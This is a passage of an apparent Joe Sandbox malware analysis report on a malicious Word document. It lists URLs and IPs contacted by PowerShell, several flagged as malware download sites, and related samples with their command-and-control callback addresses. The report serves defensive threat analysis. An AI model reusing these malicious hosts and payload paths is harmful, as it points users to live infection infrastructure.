false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/g
etfreeformspeech

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.odwebp.svc.ms DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://api.powerbi.com/v1.0/myorg/groups DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://web.microsoftstream.com/video/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://corp.roblox.com/parents/ svchost.exe, 0000000F.00000003
.749374070.00000279643ED000.00
000004.00000001.sdmp, svchost.exe, 
0000000F.00000003.7494845
80.00000279643DF000.00000004.0
0000001.sdmp

false high

https://graph.windows.net DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/wp-
content/themes/econature/css/fontello.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://github.com/Pester/Pester powershell.exe, 00000004.00000
002.690538281.00000271137E5000
.00000004.00000001.sdmp

false high

https://physio-svdh.ch/wp-
content/themes/econature/css/retina.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-
content/uploads/cmsms_styles/econature.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

gmpg.org/xfn/11 powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false high

https://pf.directory.live.com/profile/mine/System.ShortCircuitPr
ofile.json

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp, power
shell.exe, 00000004.00000002.6
94935802.00000271141E5000.0000
0004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://webdir.online.lync.com/autodiscover/autodiscoverservic
e.svc/root/

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

weather.service.msn.com/data.aspx DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://word.uservoice.com/forums/304948-word-for-
ipad-iphone-ios

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/ueber-uns/about-us/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://autodiscover-
s.outlook.com/autodiscover/autodiscover.xml

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://clients.config.office.net/user/v1.0/ios DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

arquivopop.com.br/index_htm_files/Kxh/ powershell.exe, 00000004.00000
002.694935802.00000271141E5000
.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://o365auditrealtimeingestion.manage.office.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

Name Source Malicious Antivirus Detection Reputation
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https://outlook.office365.com/api/v1.0/me/Activities DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/wp-
content/themes/econature/css/ie.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://clients.config.office.net/user/v1.0/android/policies DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/offene-stellen/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/angebot/training-fuer-senioren/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://entitlement.diagnostics.office.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/wp-includes/js/jquery/jquery.js?
ver=1.12.4-wp

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://outlook.office.com/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/angebot/med-trainingstherapie-
mtt/

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-includes/wlwmanifest.xml powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://cairocad.com/cgi-bin/1PBB/ powershell.exe, 00000004.00000
002.694935802.00000271141E5000
.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://storage.live.com/clientlogs/uploadlocation DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://www.hulu.com/ca-privacy-rights svchost.exe, 0000000F.00000003
.740940111.00000279643C9000.00
000004.00000001.sdmp

false high

www.g5e.com/G5_End_User_License_Supplemental_Terms
svchost.exe, 0000000F.00000003
.742299178.0000027964371000.00
000004.00000001.sdmp, svchost.exe, 
0000000F.00000003.7420847
04.00000279643D8000.00000004.0
0000001.sdmp, svchost.exe, 000
0000F.00000003.742108249.00000
27964351000.00000004.00000001.
sdmp

false high

https://www.isatechnology.comArAC powershell.exe, 00000004.00000
002.697183346.0000027114743000
.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-
content/plugins/LayerSlider/static/layerslider/js/layerslider.krea
turamedi

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/xmlrpc.php powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://graph.windows.net/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://devnull.onenote.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

ownitconsignment.com/files/b/ powershell.exe, 00000004.00000
002.694935802.00000271141E5000
.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://physio-svdh.ch/wp-
content/plugins/LayerSlider/static/layerslider/js/greensock.js?
ver=1.19.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://messaging.office.com/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/wp-
content/plugins/revslider/public/assets/js/jquery.themepunch.to
ols.min.js?

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-
content/themes/econature/css/style.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/comments/feed/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://insertmedia.bing.office.net/images/officeonlinecontent/b
rowse?cp=Bing

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

Name Source Malicious Antivirus Detection Reputation
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https://skyapi.live.net/Activity/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://physio-svdh.ch/wp-content/plugins/buttonizer-
multifunctional-button/assets/frontend.min.js?v

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://api.cortana.ai DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://physio-svdh.ch/wp-
content/themes/econature/css/ilightbox-skins/dark-skin.css?
ver=2.2.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://visio.uservoice.com/forums/368202-visio-on-
devices

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://staging.cortana.ai DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://onedrive.live.com/embed? DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://augloop.office.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

194.209.195.106 unknown Switzerland 3303 SWISSCOMSwisscomSwitz
erlandLtdCH

false

97.120.3.198 unknown United States 209 CENTURYLINK-US-
LEGACY-QWESTUS

true

35.208.182.43 unknown United States 19527 GOOGLE-2US true

70.180.33.202 unknown United States 22773 ASN-CXA-ALL-CCI-22773-
RDCUS

true

50.116.111.59 unknown United States 46606 UNIFIEDLAYER-AS-1US true

173.249.20.233 unknown Germany 51167 CONTABODE true

IP

192.168.2.1

Contacted IPs

Public

Private

Copyright null 2021 Page 18 of 81



General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 347028

Start date: 01.02.2021

Start time: 23:24:14

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 7m 49s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: v22Pc0qA.doc.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Run name: Potential for more IOCs and behavior

Number of analysed new started processes analysed: 23

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
GSI enabled (VBA)
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winDOC@16/14@3/7

EGA Information: Successful, ratio: 66.7%

HDC Information: Successful, ratio: 99.9% (good quality ratio 95%)
Quality average: 79.8%
Quality standard deviation: 27.5%

HCA Information: Successful, ratio: 77%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer
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Warnings:
Exclude process from analysis (whitelisted): 
BackgroundTransferHost.exe, 
backgroundTaskHost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 
104.42.151.234, 52.109.76.68, 52.109.12.24, 
104.43.193.48, 51.104.139.180, 92.122.213.194, 
92.122.213.247, 52.155.217.156, 20.54.26.129, 
8.248.141.254, 8.253.204.249, 8.241.122.254, 
8.241.121.254, 8.241.122.126
Excluded domains from analysis (whitelisted): 
displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net, prod-
w.nexus.live.com.akadns.net, 
arc.msn.com.nsatc.net, 
prod.configsvc1.live.com.akadns.net, 
displaycatalog.md.mp.microsoft.com.akadns.net, 
ris-prod.trafficmanager.net, 
ctldl.windowsupdate.com, a1449.dscg2.akamai.net,
arc.msn.com, skypedataprdcolcus15.cloudapp.net, 
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, ris.api.iris.microsoft.com, 
config.officeapps.live.com, 
blobcollector.events.data.trafficmanager.net, 
audownload.windowsupdate.nsatc.net, 
nexus.officeapps.live.com, 
officeclient.microsoft.com, 
displaycatalog.mp.microsoft.com, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
auto.au.download.windowsupdate.com.c.footprint.n
et, skypedataprdcolwus16.cloudapp.net, au-bg-
shim.trafficmanager.net, 
europe.configsvc1.live.com.akadns.net
Execution Graph export aborted for target 
powershell.exe, PID 1320 because it is empty
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtProtectVirtualMemory calls found.
Report size getting too big, too many 
NtQueryAttributesFile calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.
Report size getting too big, too many 
NtSetInformationFile calls found.

Time Type Description

23:25:14 API Interceptor 44x Sleep call for process: powershell.exe modified

23:25:44 API Interceptor 10x Sleep call for process: svchost.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

194.209.195.106 v22Pc0qA.doc.doc Get hash malicious Browse

2wUaqWdy.doc.doc Get hash malicious Browse

97.120.3.198 EIS-120120 QZC-122220.doc Get hash malicious Browse  97.120.3.
198/0f5m62
spd/kt0d01/

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/260141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid
https://view.joesandbox.com/analysis/250611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250611/html/none?idtype=webid


Copy invoice #422380.doc Get hash malicious Browse  97.120.3.
198/xzr508
fg58hgt/p8
q6sgg9gwgr
8rs9/q9cyn
hg/8dxqwjp
u230yl15/

9486874.doc Get hash malicious Browse  97.120.3.
198/91y1l3
z4v/xizwgk
sqrllsyqu/
eraoyl9t2w
lrof/g8puf
ykrilt/6br
n7fffklsas
/q3gkoa/

Electronic form.doc Get hash malicious Browse  97.120.3.
198/w9v9j4
zmq7bejeic2e/

TZ8322852306TL.doc Get hash malicious Browse  97.120.3.
198/do8iad
gzwnq3qa9p
ovw/6zdyqn
gmhmmc69wd
pj/

www.appdailyhunt.com/alfasymlink/O1m92JJ5CJWxojdaFgjP
cIrL/

Get hash malicious Browse  97.120.3.
198/uvn2j/
un8q1/

www.appdailyhunt.com/alfasymlink/O1m92JJ5CJWxojdaFgjP
cIrL/

Get hash malicious Browse  97.120.3.
198/pos89y
ydi24uxtcm
lz6/f631/8
x9c2bk8t4r
/zorb8/ogc
i/cggy1evl
rwxdj5h/

https://dj.4zido.de/i/612BRNn/ Get hash malicious Browse  97.120.3.
198/19kj6/
g5h9bzym00
6c7j/43ay3
ofpznbzj38
/1qfz5tqd3
/r5exfcpna
rwn4c/6ne8
dy3r0jelw2qnbi/

gluonpharma.com/fonts/W/ Get hash malicious Browse  97.120.3.
198/ug9rsi
0iq7da8qet
86h/jg29c6
vldf/6fyvc
eyue/sfz5v
fi4e22/

35.208.182.43 v22Pc0qA.doc.doc Get hash malicious Browse

2wUaqWdy.doc.doc Get hash malicious Browse

GT-9333 Medical report COVID-19.doc Get hash malicious Browse

70.180.33.202 8wPRuahY1M.dll Get hash malicious Browse  70.180.33
.202/fln18
ojo9upin4s
/szxw2xk/7
5f0/0f66f0
gsp71bm7w/

50.116.111.59 Electronic form.doc Get hash malicious Browse  50.116.11
1.59:8080/
p28e7od863
phitwqz2s/
7roopj5/r6
b06xe3e8xm
qs8g/9tmo0
q2t/i21l8k
4/mkj91zep
qc0f7n/

8wPRuahY1M.dll Get hash malicious Browse  50.116.11
1.59:8080/
805kib7/vp
5sm5n4p5u7
ghz3w9/6ug
mso/0sjuxpasi/

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/250605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250605/html/none?idtype=webid
https://view.joesandbox.com/analysis/250600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250600/html/none?idtype=webid
https://view.joesandbox.com/analysis/250598/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250598/html/none?idtype=webid
https://view.joesandbox.com/analysis/250513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250513/html/none?idtype=webid
https://view.joesandbox.com/analysis/250486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250486/html/none?idtype=webid
https://view.joesandbox.com/analysis/250484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250484/html/none?idtype=webid
https://view.joesandbox.com/analysis/250469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250469/html/none?idtype=webid
https://view.joesandbox.com/analysis/250438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250438/html/none?idtype=webid
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid
https://view.joesandbox.com/analysis/250059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250059/html/none?idtype=webid
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid
https://view.joesandbox.com/analysis/253528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253528/html/none?idtype=webid
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid


perfumeriarecuerdame.cl/overillustration/lTqyZy8AT7ByAidoA
EArFkYch5nVjGFftnZdnv8yqAaPMnENN7URxUqiCu/

Get hash malicious Browse  50.116.11
1.59:8080/
rd6gz9k388
ltevf/r77n
a/ajzbauvc
f2/x5jv1yq
wmaas34s/

https://correolimpio.telefonica.es/atp/url-check.php?
URL=https%3A%2F%2Fnhabeland.vn%2Fsercurirys%2FRbv
Pk%2F&D=53616c7465645f5f824c0b393b6f3e2d3c9a50d982
6547979a4ceae42fdf4a21ec36a319de1437ef72976b2e7ef710
bdb842a205880238cf08cf04b46eccce50114dbc4447f1aa6206
8b81b9d426da6b&V=1

Get hash malicious Browse  50.116.11
1.59:8080/
unlfwwzvo3nu/

adjunto 86028707-97299.doc Get hash malicious Browse  50.116.11
1.59:8080/
gtnp7ctfs6
3434f509u/
vi5pbfhvcp
zd6po6u/

DOCUMENTO_MEDICO 047.doc Get hash malicious Browse  50.116.11
1.59:8080/
fxj03p8nb/
8bxykfnpf6
3q35rwg/9i
1xa3srvbcr
spryp/3w4l
fheoymirfy
m/bvyc6d78
gbr8o/kb3s
02ub1n7cf9/

December Invoice.doc Get hash malicious Browse  50.116.11
1.59:8080/
n3wh7cs8bx
i/ytxv0cfw
hgz/jjzbhm
o3jqx9/6wp
9z8y66m/g2
irzjj1b45y
nawfgh/30h
z8zv/

MH1809380042BB.doc Get hash malicious Browse  50.116.11
1.59:8080/
1lgocese97
nii3al1/vw
784nlo3edo
gtw0m/vsmt
1rb3x8n1ev
lo5/my0x/r
ds7y7hqjo/
1n6ca1ys3f/

avanttipisos.com.br/catalogo-
virtual/i1XnbBRzXXXrqGLfBZ3UNn6Yjh1mubdZKDm48wvQD
3thzthxMysX

Get hash malicious Browse  50.116.11
1.59:8080/
kno2cm5jwc
6m/tgmjzmp
q/4jdm7z5y
9l1javlg/d
a51anu0oz0
8tnv458/nz
rpbfoaduoh4bi/

Nf3m8s.dll Get hash malicious Browse  50.116.11
1.59:8080/
20c0m7wf00/

https://upinsmokebatonrouge.com/var/kZKk4S0XnGUwc0OKs
ia1/

Get hash malicious Browse  50.116.11
1.59:8080/
q3ikxf8rlo
0rwmkk/

GT-9333 Medical report COVID-19.doc Get hash malicious Browse  50.116.11
1.59:8080/
zikye087/k
6io5sui3jj
27i90cer/z
ipbonjrmr/

2G18HC8998F36.doc Get hash malicious Browse  50.116.11
1.59:8080/
f0ttde5p/6
pa3fz7e/35
ronnbuwllc
s3rpomc/

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

Domains
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https://view.joesandbox.com/analysis/251689/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251689/html/none?idtype=webid
https://view.joesandbox.com/analysis/251670/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251670/html/none?idtype=webid
https://view.joesandbox.com/analysis/251611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251611/html/none?idtype=webid
https://view.joesandbox.com/analysis/251604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251604/html/none?idtype=webid
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250080/html/none?idtype=webid
https://view.joesandbox.com/analysis/250076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250076/html/none?idtype=webid
https://view.joesandbox.com/analysis/250071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250071/html/none?idtype=webid
https://view.joesandbox.com/analysis/250059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250059/html/none?idtype=webid
https://view.joesandbox.com/analysis/250036/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250036/html/none?idtype=webid


physio-svdh.ch v22Pc0qA.doc.doc Get hash malicious Browse 194.209.19
5.106

2wUaqWdy.doc.doc Get hash malicious Browse 194.209.19
5.106

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

SWISSCOMSwisscomSwitzerlandLtdCH v22Pc0qA.doc.doc Get hash malicious Browse 194.209.19
5.106

2wUaqWdy.doc.doc Get hash malicious Browse 194.209.19
5.106

SKM_C258201001130020005057.exe Get hash malicious Browse 46.14.214.245

SKM_C258201001130020005057.exe Get hash malicious Browse 46.14.214.245

Mozi.m Get hash malicious Browse 178.194.165.28

NormhjTcQb.exe Get hash malicious Browse 212.243.31.234

pty10 Get hash malicious Browse 217.193.254.91

Astra.x86 Get hash malicious Browse 85.0.156.99

https://aplusserve.com/wp-
content/plugins/antara/failed/encr-p-t-e-d/?
email=maggiemk.wong@juliusbaer.com

Get hash malicious Browse 193.223.56.121

AWD1-2001028L PI.exe Get hash malicious Browse 194.209.22
8.166

SWIFT COPY (2).exe Get hash malicious Browse 194.209.22
8.166

ipz.exe Get hash malicious Browse 188.61.89.227

newage Get hash malicious Browse 195.144.41.204

7v1ic5IS8I Get hash malicious Browse 164.206.11
1.135

miori.x86 Get hash malicious Browse 178.196.83.123

UnHAnaAW.x86 Get hash malicious Browse 178.192.36.116

Mozi.a Get hash malicious Browse 213.3.4.52

WE3A0yB3kl Get hash malicious Browse 85.1.224.116

IpvLye.arm7 Get hash malicious Browse 178.195.10
8.154

whoareyou.mips Get hash malicious Browse 178.198.75.41

GOOGLE-2US v22Pc0qA.doc.doc Get hash malicious Browse 35.208.153.170

2wUaqWdy.doc.doc Get hash malicious Browse 35.208.153.170

INFO_2020.doc Get hash malicious Browse 35.208.69.64

REMITTANCE ADVICE REF0000360261_PDF.xlsx Get hash malicious Browse 35.214.170.96

gDvIZEJQF2.xls Get hash malicious Browse 35.214.243.127

68254_2001.doc Get hash malicious Browse 35.209.96.32

IMG-11862.doc Get hash malicious Browse 35.208.61.46

ARCHIVOFile-20-012021.doc Get hash malicious Browse 35.209.96.32

Calculation-380472272-01262021.xlsm Get hash malicious Browse 35.208.103.169

453690-3012-QZS-9120501.doc Get hash malicious Browse 35.214.159.46

MPbBCArHPF.exe Get hash malicious Browse 35.208.174.213

TBKK  E12101010.xlsx Get hash malicious Browse 35.208.174.213

ARCH-SO-930373.doc Get hash malicious Browse 35.209.96.32

Info_C_780929.doc Get hash malicious Browse 35.214.159.46

Factura.doc Get hash malicious Browse 35.209.114.34

DAT 30 122020 664_16167.doc Get hash malicious Browse 35.214.159.46

Beauftragung.doc Get hash malicious Browse 35.209.114.34

sample2.doc Get hash malicious Browse 35.214.199.246

55-2912.doc Get hash malicious Browse 35.209.78.196

DAT_G_0259067.doc Get hash malicious Browse 35.214.169.246

CENTURYLINK-US-LEGACY-
QWESTUS

davay.exe Get hash malicious Browse 174.18.23.49

oHqMFmPndx.exe Get hash malicious Browse 67.232.238.125

mssecsvc.exe Get hash malicious Browse 162.19.200.18

fil1 Get hash malicious Browse 184.6.30.51

8wPRuahY1M.dll Get hash malicious Browse 97.120.3.198

i Get hash malicious Browse 63.224.11.107

svchost.exe Get hash malicious Browse 69.68.63.158

167.248.133.20 Get hash malicious Browse 167.248.133.20

EIS-120120 QZC-122220.doc Get hash malicious Browse 97.120.3.198

Copy invoice #422380.doc Get hash malicious Browse 97.120.3.198

9486874.doc Get hash malicious Browse 97.120.3.198

ASN
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https://view.joesandbox.com/analysis/260141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid
https://view.joesandbox.com/analysis/253287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253287/html/none?idtype=webid
https://view.joesandbox.com/analysis/253214/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253214/html/none?idtype=webid
https://view.joesandbox.com/analysis/252944/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252944/html/none?idtype=webid
https://view.joesandbox.com/analysis/249618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249618/html/none?idtype=webid
https://view.joesandbox.com/analysis/247133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247133/html/none?idtype=webid
https://view.joesandbox.com/analysis/246016/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246016/html/none?idtype=webid
https://view.joesandbox.com/analysis/220028/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/220028/html/none?idtype=webid
https://view.joesandbox.com/analysis/214856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214856/html/none?idtype=webid
https://view.joesandbox.com/analysis/213266/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213266/html/none?idtype=webid
https://view.joesandbox.com/analysis/184897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184897/html/none?idtype=webid
https://view.joesandbox.com/analysis/175244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/175244/html/none?idtype=webid
https://view.joesandbox.com/analysis/173294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/173294/html/none?idtype=webid
https://view.joesandbox.com/analysis/172604/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/172604/html/none?idtype=webid
https://view.joesandbox.com/analysis/172493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/172493/html/none?idtype=webid
https://view.joesandbox.com/analysis/171929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/171929/html/none?idtype=webid
https://view.joesandbox.com/analysis/167521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/167521/html/none?idtype=webid
https://view.joesandbox.com/analysis/167516/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/167516/html/none?idtype=webid
https://view.joesandbox.com/analysis/165898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/165898/html/none?idtype=webid
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260141/html/none?idtype=webid
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260140/html/none?idtype=webid
https://view.joesandbox.com/analysis/260108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260108/html/none?idtype=webid
https://view.joesandbox.com/analysis/259845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259845/html/none?idtype=webid
https://view.joesandbox.com/analysis/259704/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259704/html/none?idtype=webid
https://view.joesandbox.com/analysis/258890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258890/html/none?idtype=webid
https://view.joesandbox.com/analysis/258830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258830/html/none?idtype=webid
https://view.joesandbox.com/analysis/258688/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258688/html/none?idtype=webid
https://view.joesandbox.com/analysis/258515/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258515/html/none?idtype=webid
https://view.joesandbox.com/analysis/257486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257486/html/none?idtype=webid
https://view.joesandbox.com/analysis/257279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257279/html/none?idtype=webid
https://view.joesandbox.com/analysis/257261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257261/html/none?idtype=webid
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid
https://view.joesandbox.com/analysis/257125/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257125/html/none?idtype=webid
https://view.joesandbox.com/analysis/257119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257119/html/none?idtype=webid
